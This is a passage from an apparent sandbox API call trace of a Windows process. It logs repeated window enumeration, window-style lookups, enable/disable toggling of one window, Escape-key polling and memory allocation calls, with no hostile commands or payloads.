(hWnd=0x10248, uCmd=0x2) returned 0x1024a [0160.304] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0160.304] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0160.304] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0160.305] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0160.305] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0160.305] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0160.305] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0160.305] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0160.306] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0160.306] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0160.306] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0160.306] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0160.306] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0160.307] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0160.307] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0160.307] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0160.307] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0160.308] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0160.308] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0160.308] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0160.308] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0160.308] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0160.309] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0160.309] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0160.309] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0160.309] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0160.310] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0160.310] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0160.310] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0160.310] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0160.310] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0160.311] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0160.311] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0160.311] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0160.311] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0160.311] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0160.312] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0160.312] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0160.312] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0160.312] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0160.313] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0160.313] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0160.313] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0160.313] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0160.314] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0160.314] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0160.314] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0160.314] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0160.314] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0160.315] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0160.315] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0160.315] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0160.315] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0160.316] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0160.316] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0160.316] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0160.316] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0160.316] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0160.317] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0160.317] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0160.317] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0160.317] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0160.317] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0160.318] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0160.318] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0160.318] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0160.318] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0160.319] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0160.319] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0160.319] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0160.319] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0160.319] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0160.320] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0160.320] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0160.320] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0160.320] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0160.320] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0160.321] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0160.321] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0160.321] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0160.321] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0160.322] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0160.322] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0160.322] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0160.322] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0160.322] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0160.323] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0160.323] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0160.323] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0160.323] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0160.324] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0160.324] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0160.324] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0160.324] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0160.324] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0160.325] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0160.325] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0160.325] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0160.325] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0160.325] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0160.326] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0160.326] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0160.326] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0160.326] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0160.327] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0160.327] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0160.327] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0160.327] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0160.328] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0160.328] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0160.328] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0160.328] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0160.328] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0160.329] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0160.329] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0160.329] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0160.329] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0160.330] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0160.330] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0160.330] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0160.330] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0160.330] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0160.331] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0160.331] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0160.331] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0160.331] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0160.331] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0160.332] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0160.332] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0160.332] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0160.332] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0160.333] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0160.333] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0160.333] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0160.333] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0160.333] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0160.334] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0160.334] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0160.334] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0160.334] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0160.335] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0160.335] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0160.335] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0160.335] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0160.335] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0160.336] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0160.336] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0160.336] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0160.336] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0160.336] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0160.337] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0160.337] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0160.337] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0160.337] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0160.338] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0160.338] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0160.338] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0160.338] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0160.338] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0160.338] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0160.406] GetCurrentThreadId () returned 0xbdc [0160.406] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0160.407] GetDesktopWindow () returned 0x10010 [0160.407] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0160.407] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0160.408] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0160.408] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0160.408] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0160.408] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0160.408] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0160.409] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0160.409] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0160.409] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0160.409] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0160.410] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0160.410] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0160.410] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0160.410] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0160.410] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0160.411] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0160.411] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0160.411] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0160.411] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0160.412] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0160.412] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0160.412] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0160.412] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0160.412] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0160.412] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0160.412] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0160.412] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0160.412] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0160.412] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0160.412] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0160.412] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0160.413] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0160.413] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0160.413] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0160.413] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0160.413] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0160.413] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0160.413] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0160.413] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0160.413] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0160.414] IsWindowEnabled (hWnd=0x20360) returned 1 [0160.414] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0160.414] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0160.414] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0160.414] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0160.414] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0160.414] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0160.414] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0160.414] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0160.415] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0160.415] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0160.415] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0160.415] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0160.415] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0160.415] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0160.415] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0160.415] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0160.415] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0160.415] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0160.416] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0160.416] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0160.416] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0160.416] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0160.416] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0160.416] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0160.416] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0160.416] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0160.417] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb3e30 [0160.417] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb3e30) [0163.359] GetAsyncKeyState (vKey=27) returned 0 [0163.359] GetCurrentThreadId () returned 0xbdc [0163.359] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0163.359] GetDesktopWindow () returned 0x10010 [0163.360] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0163.360] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0163.360] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0163.360] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0163.360] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0163.360] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0163.360] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0163.361] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0163.361] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0163.361] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0163.361] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0163.361] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0163.361] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0163.361] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0163.361] IsWindowEnabled (hWnd=0x20360) returned 0 [0163.361] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0163.361] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0163.361] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0163.361] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0163.362] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0163.362] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0163.362] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0163.362] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0163.362] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0163.362] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0163.362] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0163.362] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0163.362] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0163.362] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0163.362] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0163.362] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0163.363] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0163.363] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0163.363] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0163.363] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0163.363] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0163.364] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0163.364] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0163.452] GetCurrentThreadId () returned 0xbdc [0163.452] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0163.452] GetDesktopWindow () returned 0x10010 [0163.453] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0163.453] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0163.453] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0163.453] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0163.453] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0163.453] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0163.453] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0163.453] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0163.453] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0163.454] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0163.454] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0163.454] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0163.454] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0163.454] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0163.454] IsWindowEnabled (hWnd=0x20360) returned 1 [0163.454] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0163.454] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0163.454] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0163.454] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0163.455] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0163.455] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0163.455] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0163.455] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0163.455] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0163.455] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0163.455] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0163.455] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0163.455] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0163.455] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0163.455] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0163.455] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0163.456] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0163.456] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0163.456] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0163.456] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0163.456] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0163.456] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb28b0 [0163.457] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb28b0) [0166.372] GetAsyncKeyState (vKey=27) returned 0 [0166.372] GetCurrentThreadId () returned 0xbdc [0166.372] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0166.372] GetDesktopWindow () returned 0x10010 [0166.372] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0166.373] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0166.373] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0166.373] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0166.373] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0166.373] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0166.373] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0166.373] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0166.373] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0166.374] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0166.374] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0166.374] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0166.374] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0166.374] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0166.374] IsWindowEnabled (hWnd=0x20360) returned 0 [0166.374] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0166.374] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0166.374] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0166.374] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0166.375] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0166.375] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0166.375] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0166.375] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0166.375] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0166.375] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0166.375] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0166.375] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0166.375] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0166.375] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0166.375] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0166.376] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0166.376] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0166.376] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0166.376] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0166.376] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0166.376] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0166.377] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0166.377] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0166.489] GetCurrentThreadId () returned 0xbdc [0166.489] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0166.489] GetDesktopWindow () returned 0x10010 [0166.490] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0166.490] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0166.490] 